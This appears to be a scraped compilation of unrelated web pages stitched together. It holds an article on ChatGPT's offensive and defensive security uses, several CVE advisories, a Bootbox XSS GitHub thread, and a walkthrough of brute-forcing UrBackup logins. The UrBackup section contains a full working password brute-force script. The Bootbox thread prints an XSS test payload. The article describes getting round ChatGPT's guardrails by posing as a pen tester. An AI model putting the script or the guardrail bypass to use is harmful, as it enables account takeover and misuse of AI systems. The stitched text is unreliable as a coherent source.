ChatGPT: Productivity tool, great for writing poems, and… a security risk?! In this article, we show how threat actors can exploit ChatGPT, but also how defenders can use it for leveling up their game.
ChatGPT is the most swiftly growing consumer application to date. The extremely popular generative AI chatbot has the ability to generate human-like, coherent and contextually relevant responses.

Artificial Intelligence / Data Security

_ChatGPT: Productivity tool, great for writing poems, and… a security risk?! In this article, we show how threat actors can exploit ChatGPT, but also how defenders can use it for leveling up their game._

ChatGPT is the most swiftly growing consumer application to date. The extremely popular generative AI chatbot has the ability to generate human-like, coherent and contextually relevant responses. This makes it very valuable for applications like content creation, coding, education, customer support, and even personal assistance.

However, ChatGPT also comes with security risks. ChatGPT can be used for data exfiltration, spreading misinformation, developing cyber attacks and writing phishing emails. On the flip side, it can help defenders who can use it for identifying vulnerabilities and learning about various defenses.

In this article, we show numerous ways attackers can exploit ChatGPT and the OpenAI Playground. Just as importantly, we show ways that defenders can leverage ChatGPT to enhance their security posture as well.

**The Threat Actor - Hacking Made Easy**

ChatGPT makes it easier for people looking to enter the world of cybercrime. Here are a few ways it can be used for system exploitation:

*   **Finding Vulnerabilities** \- Attackers can prompt ChatGPT about potential vulnerabilities in websites, systems, APIs, and other network components.
    
    According to Etay Maor, Senior Director of Security Strategy at **Cato Networks**, "There are guardrails in ChatGPT and the Playground to prevent them from giving answers that support doing something bad or evil. But, 'social engineering' the AI enables finding a way around that wall."
    
    For example, this can be done by impersonating a pen tester about how to test a website's input field for vulnerabilities. The response from ChatGPT will include a list of website exploitation methods, like input validation testing, XSS testing, SQL injection testing, and more.
    
*   **Exploiting Existing Vulnerabilities** - ChatGPT can also provide attackers with the technological information they need about how to exploit an existing vulnerability. For example, a threat actor could ask ChatGPT how to test a known SQL injection vulnerability in a website field. ChatGPT will respond with input examples that will trigger the vulnerability.
*   **Using Mimikatz** - Threat actors can prompt ChatGPT to write code that downloads and runs Mimikatz.
*   **Writing Phishing Emails** - ChatGPT can be prompted to create authentic-looking phishing emails across a wide variety of languages and writing styles. In the example below, the prompt requests that the email is written to sound like it's coming from a CEO.
*   **Identifying Confidential Files** - ChatGPT can help attackers identify files with confidential data.

In the example below, ChatGPT is prompted to write a Python script that searches for Doc and PDF files that contain the word "confidential," copy them into a random folder and transfer them. While the code is not perfect, it is a good start for a person who wants to develop this capability. Prompts could also be more sophisticated and include encryption, creating a Bitcoin wallet for the ransom money, and more.

**The Defender - Defending Made Easy**

ChatGPT can and should also be used to enhance defender capabilities. According to Etay Maor, "ChatGPT also lowers the bar, in a good sense, for Defenders and for people who want to get into security." Here are a number of ways professionals can improve their security expertise and capabilities.

*   **Learning New Terms and Technologies** - ChatGPT can shorten the time it takes to research and learn new terms, technologies, processes and methodologies. It provides immediate, accurate and concise answers to security-related questions.

In the example below, ChatGPT explains what a specific snort rule is.

*   **Summarizing Security Reports** - ChatGPT can help summarize breach reports, helping analysts learn about how attacks were performed so they can prevent them from recurring in the future.
*   **Deciphering Attacker Code** - Analysts can upload attacker code to ChatGPT and get an explanation of the steps taken and the executed payload.
*   **Predicting Attack Paths** - ChatGPT can predict future probable attack paths of an attack, by analyzing similar past cyber attacks and the techniques that were used.
*   **Researching Threat Actors and Attack Paths** - Providing a report that maps a threat actor, including their recent attacks, technical data, mapping to frameworks, and more. In this example, a detailed, technical report is provided about the ALPHV Ransomware group.

*   **Identifying Code Vulnerabilities** \- Engineers can paste code in ChatGPT and prompt it to identify any vulnerabilities. ChatGPT can even identify vulnerabilities when there is no bug, only a logical error. Be wary of the code you upload. If it contains proprietary data you may be exposing it externally.

*   **Identifying Suspicious Activities in Logs** - Reviewing log activity and looking for suspicious activities.
*   **Identifying Vulnerable Web Pages** \- Web developers or security professionals can prompt ChatGPT to review a website's HTML code and identify vulnerabilities that would enable SQL injections, CSRF attacks, XSS attacks, or DDoS attacks.

**Additional Considerations When Using ChatGPT**

When using ChatGPT, it's important to acknowledge the importance of the following factors:

*   **Copyrights** - Who owns the generated content? When asking ChatGPT, the answer is that the person who wrote the prompt owns them. However, it is not as simple as that. This issue is still not completely resolved and will depend on various legal systems and precedents. A body of law is currently emerging about this issue.
*   **Data retention -** OpenAI may retain some of the data used as prompts for training or other research purposes. That's why it's important to exercise caution and avoid pasting any sensitive data into the application.
*   **Privacy -** There are privacy issues surrounding ChatGPT, ranging from how it uses the data it is being prompted with to how it stores user interactions. Therefore, it's recommended to avoid entering PII or customer data into the application.
*   **Bias -** ChatGPT is subject to bias. For example, when asked to rate groups based on intelligence, it placed certain ethnicities before others. Using responses blindly could have significant consequences for individuals. For example, if it is used to guide decision-making in courts, police profiling, recruitment processes, and more.
*   **Accuracy** - It's important to verify ChatGPT's results, since they are not always accurate (i.e, 'hallucinations'. In the example below, ChatGPT was prompted to write a list of five-letter words starting with B and ending with KE. One of the answers was "Bike".

*   **AI vs. AI** - Currently ChatGPT is not able to identify if a prompted text was written by AI or not. In the future, newer versions might be able to, which can help with security efforts. For example, this ability could help identify phishing emails.

Etay summarizes, "We can't stop progress, but we do need to teach people how to use these tools."

**To learn more about how security professionals can make the most of ChatGPT, watch the entire masterclass here.**

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Offensive and Defensive AI: Let’s Chat(GPT) About It

Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in WPSolutions-HQ WPDBSpringClean plugin <= 1.6 versions.

**Solution**

 No fix

No patched version is available.

LEE SE HYOUNG (hackintoanetwork) discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress WPDBSpringClean Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-47510: WordPress WPDBSpringClean plugin <= 1.6 - Cross Site Scripting (XSS) vulnerability - Patchstack

Use of implicit intent for sensitive communication vulnerability in startMandatoryCheckActivity in Samsung Account prior to version 14.5.00.7 allows attackers to access arbitrary file with Samsung Account privilege.

This Cookie Policy describes the different types of cookies that may be used in connection with Samsung Mobile Security website which is owned and controlled by Samsung Electronics Co., Ltd (“Samsung Electronics”). This Cookie Policy also describes how you can manage cookies.

It’s important that you check back often for updates to the Policy as we may change it from time to time to reflect changes to our use of cookies. Please check the date at the top of this page to see when this Policy was last revised. Any changes to this Policy will become effective when we make the revised Policy available on our website.

Samsung Electronics has offices across Europe, so we can ensure that your request or query will be handled by the data protection team based in your region. If you have any questions, the easiest way to contact us is through our Privacy Support Page at https://www.samsung.com/request-desk.

You can also contact us at:

European Data Protection Officer  
Samsung Electronics (UK) Limited  
Samsung House, 2000 Hillswood Drive, Chertsey, Surrey KT16 0RS

**Cookies**

Cookies are small files that store information on your computer, TV, mobile phone, or other device. They enable the entity that put the cookie on your device to recognize you across different websites, services, devices, and/or browsing sessions.

We use the following types of cookies on this website:

**Essential Cookies**: enable you to receive the services you request via our website. Without these cookies, services that you have asked for cannot be provided. For example, these enable to identify users and provide proper service for each user. These cookies are automatically enabled and cannot be turned off because they are essential to enable you to browse our website. Without these cookies this Samsung Mobile Security website could not be provided.

Cookie

Domain

Purpose

JSESSIONID

security.samsungmobile.com

to keep login session

lastActivityTime

security.samsungmobile.com

to save the user's last activity time to automatically logout after 30 minutes of inactivity

**Managing Cookies and Other Technologies**

You can also update your browser settings at any time, if you want to remove or block cookies from your device (consult your browser's "help" menu to learn how to remove or block cookies). Samsung Electronics is not responsible for your browser settings. You can find good and simple instructions on how to manage cookies on the different types of web browsers at http://www.allaboutcookies.org.

CVE-2023-42548: Samsung Mobile Security

Improper Input Validation with USB Gadget Interface prior to SMR Nov-2023 Release 1 allows a physical attacker to execute arbitrary code in Kernel.

CVE-2023-42533: Samsung Mobile Security

The Ziteboard Online Whiteboard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ziteboard' shortcode in versions up to, and including, 2.9.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

This record contains material that is subject to copyright.

**Copyright 2012-2023 Defiant Inc.**

**License:** Defiant hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute this software vulnerability information. Any copy of the software vulnerability information you make for such purposes is authorized provided that you include a hyperlink to this vulnerability record and reproduce Defiant's copyright designation and this license in any such copy. **Read more.**

**Copyright 1999-2023 The MITRE Corporation**

**License:** CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy. **Read more.**

Have information to add, or spot any errors? Contact us at wfi-support@wordfence.com so we can make any appropriate adjustments.

CVE-2023-5076: Ziteboard Online Whiteboard <= 2.9.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via ziteboard Shortcode — Wordfence Intelligence

A vulnerability in Veeam ONE allows a user with the Veeam ONE Read-Only User role to view the Dashboard Schedule. Note: The criticality of this vulnerability is reduced because the user with the Read-Only role is only able to view the schedule and cannot make changes.

#Display Installed Veeam ONE Version  
Write-Host "Checking for installed Veeam ONE..."`n  
$veeamOnePackage = Get-Package -ProviderName msi | Where-Object { $_.Name -eq "Veeam ONE Reporter Server" }  
if ($null -eq $veeamOnePackage) {  
    Write-Host "Veeam ONE does not appear to be installed on this machine."`n -ForegroundColor Red  
	BREAK  
} else {  
    $installedVersion = $veeamOnePackage.Version  
    Write-Host "The following Veeam ONE Build is installed: $installedVersion"`n -ForegroundColor Green

		# If the installed version is 12.0.0.2498 and display an update message and terminate.  
		if ($installedVersion -eq "12.0.0.2498") {  
			Write-Host "ERROR: Installed Veeam ONE build is 12.0.0.2498, update to build 12.0.1.2591 is required. See KB4430"`n -ForegroundColor Red  
		BREAK  
		}  
}

# Define Veeam ONE Reporter Server Root Folder  
$installLocation = $veeamOnePackage.Source      
$rootFolder = Join-Path -Path $installLocation -ChildPath "Veeam ONE Reporter Server\"

# List of files to check  
$fileList = @(  
    "Veeam.Reporter.GrpcService.dll",  
    "Veeam.Reporter.WebApiService.dll",  
    "Veeam.Reporter.PackInstaller.dll",  
    "Veeam.Reporter.GrpcShared.dll",  
    "Collecting\Veeam.Retriever.exe",  
    "Collecting\Veeam.Reporter.GrpcShared.dll",  
    "Reporting\Veeam.Reporter.Reporting.exe",  
    "Reporting\Veeam.Reporter.GrpcShared.dll"  
)

# Dictionary of known file hash values  
$hashList = @{  
    "Veeam.Reporter.GrpcService.dll" = @{  
        "SHA1" = @("269AFC1424BC58612AC97B08520473FEEF518D4A", "B6B4404D50817EB73927F211A570767D6A0D3DE0", "990A1BAB5C408DC2CB53B2637E4FABCBDB943E96")  
    }  
    "Veeam.Reporter.WebApiService.dll" = @{  
        "SHA1" = @("4406F2F4F6D7F07811946D2637DD8BB8322E91E0", "28A7D7411EF41E939D1B8D6F669966EDB1C61B12", "1957C5C23C89348A9F0B9405CECC3C2985F858BB")  
    }  
    "Veeam.Reporter.PackInstaller.dll" = @{  
        "SHA1" = @("B02B20BB6E45E7E9DB2D68E8FDDAADF0ADA4BCF5", "CEB6EFCCB4CCA079501BE7A6DA225F2126761044", "717F85C39D2FAB41D720ABDDAB69B03C3AAD5ADD")  
    }  
    "Veeam.Reporter.GrpcShared.dll" = @{  
        "SHA1" = @("F0ADE6C781D673B9DB84F14AD0C2D0BE847873BD")  
    }  
    "Collecting\Veeam.Retriever.exe" = @{  
        "SHA1" = @("8FCA25B1CD81D89E3B0A977B8AF5255487610969", "21D989ACF3AA191079D40FDAE06AE1B8AFBC9C8F", "AE9EE91C786D097F65B8CB26CCA253E1B4724C2C")  
    }  
    "Collecting\Veeam.Reporter.GrpcShared.dll" = @{  
        "SHA1" = @("AC5A2945728E8C60BCF4E879BCAC6B235F38B5B3")  
    }  
    "Reporting\Veeam.Reporter.Reporting.exe" = @{  
        "SHA1" = @("D1EC3C8E25C654106481F7DF9281BB271461E7AD", "7359FE86A6160EF1C0C9CA913E7216DA622D6F32", "DDBE4199AA973CDD71A4F3A68B5B68CD109BFF1D")  
    }  
    "Reporting\Veeam.Reporter.GrpcShared.dll" = @{  
        "SHA1" = @("827E1929916972E6ABA25DDA15F0CD5474EBBFB8")  
    }  
}

# Creat array to store table data  
$tableData = @()

# Check files and collect data for the table  
foreach ($file in $fileList) {  
	# Skip checking Veeam.Reporter.GrpcShared.dll for builds 11.0.1.1880 or 11.0.0.1379 as that file was only relevant to 12.0.1.2591.  
	if ($file -like "*Veeam.Reporter.GrpcShared.dll") {  
		$fileVersion = (Get-Item (Join-Path -Path $rootFolder -ChildPath $file)).VersionInfo.FileVersion  
		if ($fileVersion -eq "11.0.0.1379" -or $fileVersion -eq "11.0.1.1880") {  
			continue  
		}  
	}

	$filePath = Join-Path -Path $rootFolder -ChildPath $file  
	$fileDetails = $hashList[$file]

	# identify file version and determine SHA1 hash  
	if (Test-Path $filePath) {  
		$fileVersion = (Get-Item $filePath).VersionInfo.FileVersion  
		$fileSHA1 = Get-FileHash -Path $filePath -Algorithm SHA1 | Select-Object -ExpandProperty Hash  
		$hashVerified = $false

		# compare file on disk hash to known hotfix hash values  
		foreach ($hash in $fileDetails.SHA1) {  
			if ($fileSHA1 -eq $hash) {  
				$hashVerified = $true  
				break  
			}  
		}  
	} else {  
		$fileVersion = "N/A"  
		$hashVerified = $false  
	}

	# Create an object for each file and add it to the table data array  
	$fileData = [PSCustomObject]@{  
		FileName = $file  
		Version = $fileVersion  
		"HotFix Installed" = $hashVerified  
	}  
	$tableData += $fileData  
}

# Display the table  
$tableData | Format-Table -AutoSize

CVE-2023-41723: CVE-2023-38547 | CVE-2023-38548 | CVE-2023-38549 | CVE-2023-41723

UrBackup Server 2.5.31 allows brute-force enumeration of user accounts because a failure message confirms that a username is not valid.

Starting with the first step, access the login page at localhost:55414. The login page includes fields for username and password, and it lacks captcha or any other controls to prevent automated form submissions. We observed that this allows perpetrators to brute-force the login request.

Next, we begin to understand how UrBackup works. We first try using the username "root". The result shows that "User does not exist". From this, we can easily deduce that this user does not exist.

We then try using a common username credential that might be used by most administrators, which can be found here. If we are lucky, the admin might be using one of the existing usernames from the wordlist similar to my demonstration, which shows that the username "admin" exists; however, the popup indicates "Wrong password".

The first request is sent to /x?a=salt and the response contains a cryptographic setting

The cryptographic JavaScript function that performs a password calculation is located on the client side.

1\. Prepare a list of existing usernames (in this case "admin")

2\. Prepare a password wordlist (in this case is "pass.txt")

3\. Run below code to automate brute-force

    
    
    import axios from 'axios';
    import fs from 'fs/promises';
    import qs from 'qs';  
    import sjcl from 'sjcl';
    import { HttpProxyAgent } from 'http-proxy-agent';
    
                   const proxyAgent = new HttpProxyAgent('http://127.0.0.1:8080');
    var blks = null;
    var nblk = null;
    var i = null;
    var x = null;
    var a = null;
    var b = null;
    var c = null;
    var d = null;
    var olda = null;
    var oldb = null;
    var oldc = null;
    var oldd = null;
    var str = null;
    var j = null;
    var hex_chr = "0123456789abcdef";
    function rhex(num)
    {
      str = "";
      for(j = 0; j <= 3; j++)
        str += hex_chr.charAt((num >> (j * 8 + 4)) & 0x0F) +
               hex_chr.charAt((num >> (j * 8)) & 0x0F);
      return str;
    }
    function str2blks_MD5(str)
    {
      nblk = ((str.length + 8) >> 6) + 1;
      blks = new Array(nblk * 16);
      for(i = 0; i < nblk * 16; i++) blks[i] = 0;
      for(i = 0; i < str.length; i++)
        blks[i >> 2] |= str.charCodeAt(i) << ((i % 4) * 8);
      blks[i >> 2] |= 0x80 << ((i % 4) * 8);
      blks[nblk * 16 - 2] = str.length * 8;
      return blks;
    }
    function add(x, y)
    {
      var lsw = (x & 0xFFFF) + (y & 0xFFFF);
      var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
      return (msw << 16) | (lsw & 0xFFFF);
    }
    function rol(num, cnt)
    {
      return (num << cnt) | (num >>> (32 - cnt));
    }
    function cmn(q, a, b, x, s, t)
    {
      return add(rol(add(add(a, q), add(x, t)), s), b);
    }
    function ff(a, b, c, d, x, s, t)
    {
      return cmn((b & c) | ((~b) & d), a, b, x, s, t);
    }
    function gg(a, b, c, d, x, s, t)
    {
      return cmn((b & d) | (c & (~d)), a, b, x, s, t);
    }
    function hh(a, b, c, d, x, s, t)
    {
      return cmn(b ^ c ^ d, a, b, x, s, t);
    }
    function ii(a, b, c, d, x, s, t)
    {
      return cmn(c ^ (b | (~d)), a, b, x, s, t);
    }
    function calcMD5(str)
    {
      x = str2blks_MD5(str);
      a =  1732584193;
      b = -271733879;
      c = -1732584194;
      d =  271733878;
      for(i = 0; i < x.length; i += 16)
      {
        olda = a;
        oldb = b;
        oldc = c;
        oldd = d;
        a = ff(a, b, c, d, x[i+ 0], 7 , -680876936);
        d = ff(d, a, b, c, x[i+ 1], 12, -389564586);
        c = ff(c, d, a, b, x[i+ 2], 17,  606105819);
        b = ff(b, c, d, a, x[i+ 3], 22, -1044525330);
        a = ff(a, b, c, d, x[i+ 4], 7 , -176418897);
        d = ff(d, a, b, c, x[i+ 5], 12,  1200080426);
        c = ff(c, d, a, b, x[i+ 6], 17, -1473231341);
        b = ff(b, c, d, a, x[i+ 7], 22, -45705983);
        a = ff(a, b, c, d, x[i+ 8], 7 ,  1770035416);
        d = ff(d, a, b, c, x[i+ 9], 12, -1958414417);
        c = ff(c, d, a, b, x[i+10], 17, -42063);
        b = ff(b, c, d, a, x[i+11], 22, -1990404162);
        a = ff(a, b, c, d, x[i+12], 7 ,  1804603682);
        d = ff(d, a, b, c, x[i+13], 12, -40341101);
        c = ff(c, d, a, b, x[i+14], 17, -1502002290);
        b = ff(b, c, d, a, x[i+15], 22,  1236535329);    
        a = gg(a, b, c, d, x[i+ 1], 5 , -165796510);
        d = gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
        c = gg(c, d, a, b, x[i+11], 14,  643717713);
        b = gg(b, c, d, a, x[i+ 0], 20, -373897302);
        a = gg(a, b, c, d, x[i+ 5], 5 , -701558691);
        d = gg(d, a, b, c, x[i+10], 9 ,  38016083);
        c = gg(c, d, a, b, x[i+15], 14, -660478335);
        b = gg(b, c, d, a, x[i+ 4], 20, -405537848);
        a = gg(a, b, c, d, x[i+ 9], 5 ,  568446438);
        d = gg(d, a, b, c, x[i+14], 9 , -1019803690);
        c = gg(c, d, a, b, x[i+ 3], 14, -187363961);
        b = gg(b, c, d, a, x[i+ 8], 20,  1163531501);
        a = gg(a, b, c, d, x[i+13], 5 , -1444681467);
        d = gg(d, a, b, c, x[i+ 2], 9 , -51403784);
        c = gg(c, d, a, b, x[i+ 7], 14,  1735328473);
        b = gg(b, c, d, a, x[i+12], 20, -1926607734);
        
        a = hh(a, b, c, d, x[i+ 5], 4 , -378558);
        d = hh(d, a, b, c, x[i+ 8], 11, -2022574463);
        c = hh(c, d, a, b, x[i+11], 16,  1839030562);
        b = hh(b, c, d, a, x[i+14], 23, -35309556);
        a = hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
        d = hh(d, a, b, c, x[i+ 4], 11,  1272893353);
        c = hh(c, d, a, b, x[i+ 7], 16, -155497632);
        b = hh(b, c, d, a, x[i+10], 23, -1094730640);
        a = hh(a, b, c, d, x[i+13], 4 ,  681279174);
        d = hh(d, a, b, c, x[i+ 0], 11, -358537222);
        c = hh(c, d, a, b, x[i+ 3], 16, -722521979);
        b = hh(b, c, d, a, x[i+ 6], 23,  76029189);
        a = hh(a, b, c, d, x[i+ 9], 4 , -640364487);
        d = hh(d, a, b, c, x[i+12], 11, -421815835);
        c = hh(c, d, a, b, x[i+15], 16,  530742520);
        b = hh(b, c, d, a, x[i+ 2], 23, -995338651);
        a = ii(a, b, c, d, x[i+ 0], 6 , -198630844);
        d = ii(d, a, b, c, x[i+ 7], 10,  1126891415);
        c = ii(c, d, a, b, x[i+14], 15, -1416354905);
        b = ii(b, c, d, a, x[i+ 5], 21, -57434055);
        a = ii(a, b, c, d, x[i+12], 6 ,  1700485571);
        d = ii(d, a, b, c, x[i+ 3], 10, -1894986606);
        c = ii(c, d, a, b, x[i+10], 15, -1051523);
        b = ii(b, c, d, a, x[i+ 1], 21, -2054922799);
        a = ii(a, b, c, d, x[i+ 8], 6 ,  1873313359);
        d = ii(d, a, b, c, x[i+15], 10, -30611744);
        c = ii(c, d, a, b, x[i+ 6], 15, -1560198380);
        b = ii(b, c, d, a, x[i+13], 21,  1309151649);
        a = ii(a, b, c, d, x[i+ 4], 6 , -145523070);
        d = ii(d, a, b, c, x[i+11], 10, -1120210379);
        c = ii(c, d, a, b, x[i+ 2], 15,  718787259);
        b = ii(b, c, d, a, x[i+ 9], 21, -343485551);
        a = add(a, olda);
        b = add(b, oldb);
        c = add(c, oldc);
        d = add(d, oldd);
      }
      console.log(rhex(a) + rhex(b) + rhex(c) + rhex(d));
      return rhex(a) + rhex(b) + rhex(c) + rhex(d);
    }
    
    const main = async () => {
        try {
            const passwords = await fs.readFile('pass.txt', 'utf8');
            const passwordArray = passwords.split('\n').map(pw => pw.trim());
            for (const password of passwordArray) {
                console.log(password)
              
                const url1 = 'http://localhost:55414/x?a=salt';
                const data1 = qs.stringify({
                    username: 'admin',
                    ses: '4Eu9JKihHNT6CH8esJQ0mn3ga9G7vJ',
                    lang: 'en'
                });
                const response1 = await axios.post(url1, data1, {
                    headers: {
                        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
                        "Accept": "application/json, text/javascript, */*; q=0.01",
                        "Accept-Language": "en-US,en;q=0.5",
                        "Accept-Encoding": "gzip, deflate",
                        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                        "X-Requested-With": "XMLHttpRequest",
                        "Origin": "http://localhost:55414",
                        "Referer": "http://localhost:55414"
                    },httpAgent: proxyAgent,  
                    httpsAgent: proxyAgent 
                });
                console.log(response1.data);
                const { rnd, salt, ses } = response1.data;
                if (!rnd || !salt) {
                    console.log('Failed to retrieve rnd or salt');
                    continue;
                }
    
                let pwmd5 = calcMD5(salt + password);
                if (10000 > 0) {
                    pwmd5 = sjcl.codec.hex.fromBits(sjcl.misc.pbkdf2(sjcl.codec.hex.toBits(pwmd5), salt, 10000));
                }
                pwmd5 = calcMD5(rnd + pwmd5); 
                const url2 = 'http://localhost:55414/x?a=login';
                const data2 = {
                    username: 'admin',
                    password: pwmd5,
                    ses: ses || '4Eu9JKihHNT6CH8esJQ0mn3ga9G7vJ',
                    lang: 'en'
                };
                
                const response2 = await axios.post(url2, qs.stringify(data2), {  
                    headers: {
                        "Accept": "application/json, text/javascript, */*; q=0.01",
                        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",  
                        "sec-ch-ua": '"Not;A Brand";v="99", "Chromium";v="106"',
                        "X-Requested-With": "XMLHttpRequest",
                        "sec-ch-ua-mobile": "?0",
                        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36",
                        "sec-ch-ua-platform": '"Windows"',
                        "Origin": "http://localhost:55414",
                        "Sec-Fetch-Site": "same-origin",
                        "Sec-Fetch-Mode": "cors",
                        "Sec-Fetch-Dest": "empty",
                        "Referer": "http://localhost:55414/",
                        "Accept-Encoding": "gzip, deflate",
                        "Accept-Language": "en-US,en;q=0.9",
                        "Connection": "close"
                    },httpAgent: proxyAgent,  
                    httpsAgent: proxyAgent 
                });
                
                console.log(response2.data);
            }
        } catch (error) {
            console.error('An error occurred:', error);
        }
    };
    main();
    
                   
                

All requests made by the automation script.

An incorrect hash password will return a JSON with an error type of 2.

A correct hash password will return attributes of the settings, and the response length will be different.

CVE-2023-47102: Quantiano

Cross Site Scripting vulnerability in BootBox Bootbox.js v.3.2 through 6.0 allows a remote attacker to execute arbitrary code via a crafted payload to alert(), confirm(), prompt() functions.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

JesseDahl opened this issue

May 24, 2018

· 34 comments

**Comments**

bootbox.confirm and alert use jquery's .html() (and other functions) that add content to html elements. These are a potential XSS security issue since jquery evaluates the content.

Here's a working example (scroll down to the bottom of the JS window for the example code, I just borrowed somebody's fiddle and modified)  
https://jsfiddle.net/93sk1zeh/2/

Pass in the following string to the text input field

<script>alert('HELLO WORLD')</script>

it should show 3 separate alert boxes (which verifies it can potentially be used for XSS attacks).

I think there's two options:

1.  Sanitize input before adding it to a DOM element using jquery, or build up the element in a safe manner (i'm not 100% sure the right way to do that just yet tbh)
2.  Mention in the documentation the potential danger of passing in user-submitted data as the first parameter to bootbox.confirm() and bootbox.alert(), or, if using an object instead of a string message, as the title property. This way it's clear the library user is responsible for sanitizing any input that might be used with bootbox.

I suppose I can see your point, although taking input from a user and then (safely) using it in a call to Bootbox as dialog content seems like something that's the responsibility of the developer, not this library.

I'll look into whether it's relatively easy to add something to sanitize message and title content, but I a) really don't want to write that myself, and b) really dislike adding another dependency to Bootbox.

Yeah I get that.

Maybe just a quick note in the docs about sanitizing your inputs before passing it in to bootbox?

The bootboxjs website is generated from the gh-pages branch, so if you would like to take a crack at that, I'd be happy to review a pull-request. Otherwise, it may be a little while before I get to something like that - what little free-time I have to work on projects like this has been spent trying to get the v5x branch ready for becoming the master branch.

oh yeah, didn't know the docs were on github too. i'll take a crack at it.

I'm not sure if this is very hard to fix but I think the current implementation is useful in many cases.  
So from a user perspective I want to still be able to show a dialog with HTML elements inside.

From implementation perspective all that needs to be done is to use .text method instead of .html  
And I think you can add a constructor called like Bootbox.Unsafe that if provided for message or title will be entered into the DOM using the html method. So unless user wraps the strings in this object explicitly the data will be parsed as text only.

If it sounds reasonable I can probably try to submit a pull request

@yonjah I'm not entirely sure I understand what you're suggesting.

I won't be changing the internals to use text() instead of html() - that would break most of the existing functionality, since the message and title options have always allowed HTML.

I'd have to reiterate my previous statement: sanitizing content seems out of scope for this plugin. If I can get 5.0 squared away and pushed to master, _maybe_ I could think about adding an option to allow a sanitizer to be passed in - that would allow devs to sanitize content, without having another large chunk of code for me to maintain.

@tiesont Using text() method by default seem like the best fix to this problem.  
But it is indeed a breaking change.

I wouldn't bother with implementing any solution that can't be activated by default since users will need to know to activate it. So it's not much better than changing the documentation and let users decide how they want to handle this issue.

BTW it seem like SweetAlert decided to solve this issue by offering a content property  
Which will contain an actual element to be injected into the dialog -  
t4t5/sweetalert#845  
It's also have the extra benefit of allowing easier integration with UI frameworks

@vedmant  
you just need to make sure you pass your input through a sanitizer before passing it into this library.

@vedmant "fix it" implies that something is broken. I think I've made it clear that I don't consider this a "bug" or problem with Bootbox, in spite of whatever external sites want to claim. If not, well, here it is:

I don't consider sanitizing the content that gets passed to the message option as in-scope for Bootbox, and it's been a feature for quite some time to allow HTML to be be passed in, allowing messages shown by bootbox.alert(), bootbox.confirm(), and bootbox.prompt() to have formatted text. It's not up to bootbox to decide if a programmer has a valid use or not to inject a <script> tag, which in and of itself is not malicious - it's whatever code it contains and what the intent was that matters.

@JesseDahl @tiesont I don't have security concerns here, the issue is that Snyk is reporting this package as not safe. Which required to manually add it to Snyk ignore list on every project, which is also a bad idea as if there any real security issue then it also will be ignored and not reported.

This gridlock needs to be resolved in some way, I enjoy using this package safely but cannot get a clean build without getting dirty :(

@nullivex I hope this doesn't come across poorly, as there's no malicious intent behind it, but I'm not terribly concerned about what external sites report about this library. Bootbox works the way it does by intent, allowing users to have formatted text in their messages (which is no different than normal Bootstrap modals). I'm not going to change the default behavior and force users to enable HTML via an option, which is probably what I would have to do to make HackerOne et al happy.

It's always an option to fork this library, make that change, and create a new npm package, if someone really wanted to use Bootbox without warnings, but I'm not interested in doing so at the moment. Granted, I'm not the owner of this package, but since @makeusabrew hasn't been seen in a while, the most active collaborator (which seems to be me) pretty much becomes the de facto decision maker.

As a note, there is a recent fork that possibly has fixed some of these issues, found here: https://github.com/lddubeau/bootprompt - you may want to investigate if that works better. At the least, no one has filed a vulnerability report on that package yet, so you wouldn't get the warnings you're seeing here.

@tiesont Thanks for getting back to me. I appreciate the time you took and sorry to bother you in the first place. I understand that life was all good until a security researcher decided something arbitrarily bad could happen when this library is used improperly. (Typically my thumb hurts after hitting it with a hammer so I think you are completely in the right!) Rather than continue to prod you over this and try to push you a direction you would rather not go. I would like to ask what you would see as a fitting solution to this issue? It could be important for other projects. I think you have ran into a reasonable disagreement with the security research done. I agree with your stance and wish the advisory could be adjusted personally. That being said. I would not mind hearing your opinion.

I hope this finds you well!

@nullivex I wouldn't call it "bothering" me. I understand that having that warning on the package is a problem for some users, but there's not a whole lot I can do about it. Someone decided that this small(ish) library needs to act the same way as a large framework like React, so now it's seen an issue.

As I noted, using bootprompt might a option - it's Bootbox ported to TypeScript, plus whatever changes that author has made since then. I did a quick scan, and it doesn't seem to use the html() function, which seems to be what all the fuss is about.

There are also other packages that have ported Bootbox to be jQuery-free, so that it can used in frameworks like Angular (I think one was called ng-bootbox, but it's been a bit since I last looked), so if you're using something like React or Angular, you might want to investigate those options.

I have thought about looking into what Bootstrap uses internally, since I think they have some form of HTML sanitizing built into their JavaScript components, if I recall correctly. I know that **I** don't have the requisite knowledge to build my own sanitizer, and there isn't much of a point of introducing an external dependency (developers can do that themselves, after all) if I were to rely on some other library (other than Bootstrap) to sanitize content.

